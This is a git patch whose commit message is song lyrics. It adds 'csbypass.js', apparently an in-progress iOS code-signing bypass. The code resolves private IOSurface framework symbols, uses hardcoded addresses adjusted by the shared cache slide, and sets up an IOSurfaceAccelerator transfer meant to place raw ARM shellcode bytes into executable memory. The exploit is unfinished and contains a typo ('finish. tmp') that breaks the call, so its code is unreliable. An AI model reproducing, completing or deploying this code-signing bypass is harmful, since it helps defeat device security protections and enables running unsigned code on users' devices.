From b040db45dfc9ef9a902e48bc2718a94cd099f505 Mon Sep 17 00:00:00 2001 From: spv420 Date: Tue, 31 May 2022 19:51:14 -0400 Subject: I live in a constant state of fear and misery Do you miss me anymore? And I don't even notice When it hurts anymore Anymore Anymore Anymore --- src/js/csbypass.js | 69 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 69 insertions(+) create mode 100644 src/js/csbypass.js (limited to 'src/js/csbypass.js') diff --git a/src/js/csbypass.js b/src/js/csbypass.js new file mode 100644 index 0000000..e91dac3 --- /dev/null +++ b/src/js/csbypass.js @@ -0,0 +1,69 @@ +var RTLD_NOW = 2; +var PAGE_SIZE = 0x1000; + +var CFDictionaryCreateMutable_addr = 0x20809ae1; +var kCFTypeDictionaryKeyCallBacks_addr = 0x343c79cc; +var kCFTypeDictionaryValueCallBacks_addr = 0x343c79fc; +var CFDictionarySetValue_addr = 0x2080a791; +var CFNumberCreate_addr = 0x2080bc79; +var kCFNumberSInt32Type = 3; + +function csbypass() { + printf("hello from csbypass!\n"); + poc(); +} + +function memcpy_exec(dst, src, size) { + var dict = NULL; + var accel = malloc(4); + var width = malloc(4); + var height = malloc(4); + var pitch = malloc(4); + var pixel_format = malloc(4); + write_u32(width, PAGE_SIZE / (16 * 4)); + write_u32(height, 16); + write_u32(pitch, read_u32(width) * 4); + write_u32(pixel_format, 0x42475241); // ARGB + dict = callnarg(CFDictionaryCreateMutable_addr + get_dyld_shc_slide(), 0, 0, kCFTypeDictionaryKeyCallBacks_addr, kCFTypeDictionaryValueCallBacks_addr); + printf("dict: %p\n", dict); + callnarg(CFDictionarySetValue_addr + get_dyld_shc_slide(), dict, read_u32(my_kIOSurfaceBytesPerRow), callnarg(CFNumberCreate_addr + get_dyld_shc_slide(), 0, kCFNumberSInt32Type, pitch)); + callnarg(CFDictionarySetValue_addr + get_dyld_shc_slide(), dict, read_u32(my_kIOSurfaceWidth), callnarg(CFNumberCreate_addr + get_dyld_shc_slide(), 0, kCFNumberSInt32Type, width)); + callnarg(CFDictionarySetValue_addr + get_dyld_shc_slide(), dict, read_u32(my_kIOSurfaceHeight), callnarg(CFNumberCreate_addr + get_dyld_shc_slide(), 0, kCFNumberSInt32Type, height)); + callnarg(CFDictionarySetValue_addr + get_dyld_shc_slide(), dict, read_u32(my_kIOSurfacePixelFormat), callnarg(CFNumberCreate_addr + get_dyld_shc_slide(), 0, kCFNumberSInt32Type, pixel_format)); + printf("fuck you\n"); + printf("%d\n", callnarg(my_IOSurfaceAcceleratorCreate, 0, 0, accel)); +} + +function linkIOSurface() { + h = dlopen("/System/Library/PrivateFrameworks/IOSurface.framework/IOSurface", RTLD_NOW); + + my_kIOSurfaceBytesPerRow = dlsym(h, "kIOSurfaceBytesPerRow"); + my_kIOSurfaceWidth = dlsym(h, "kIOSurfaceWidth"); + my_kIOSurfaceHeight = dlsym(h, "kIOSurfaceHeight"); + my_kIOSurfacePixelFormat = dlsym(h, "kIOSurfacePixelFormat"); + + scall("printf", "%x %x %x %x\n", my_kIOSurfaceBytesPerRow, my_kIOSurfaceWidth, my_kIOSurfaceHeight, my_kIOSurfacePixelFormat); + + my_IOSurfaceAcceleratorCreate = dlsym(h, "IOSurfaceAcceleratorCreate"); + my_IOSurfaceCreate = dlsym(h, "IOSurfaceCreate"); + my_IOSurfaceAcceleratorTransferSurface = dlsym(h, "IOSurfaceAcceleratorTransferSurface"); +} + +function poc() { + linkIOSurface(); + + var tmp = malloc(0x4000); + var start = [0x4F, 0xF0, 0x82, 0x40, 0x00, 0x47]; + + for (var i = 0; i < start.length; i++) { + write_u8(tmp + i, start[i]); + } + + var finish = 0x10000; + + memcpy_exec(finish. tmp, 0x1000); + + scall("printf", "%x %x %x %x %x %x %x %x %x %x %x %x %x\n", h, my_kIOSurfaceBytesPerRow, my_kIOSurfaceWidth, my_kIOSurfaceHeight, my_kIOSurfacePixelFormat, my_IOSurfaceAcceleratorCreate, my_IOSurfaceCreate, my_IOSurfaceAcceleratorTransferSurface, 0x41414141); + +// var finish = +} \ No newline at end of file -- cgit v1.2.3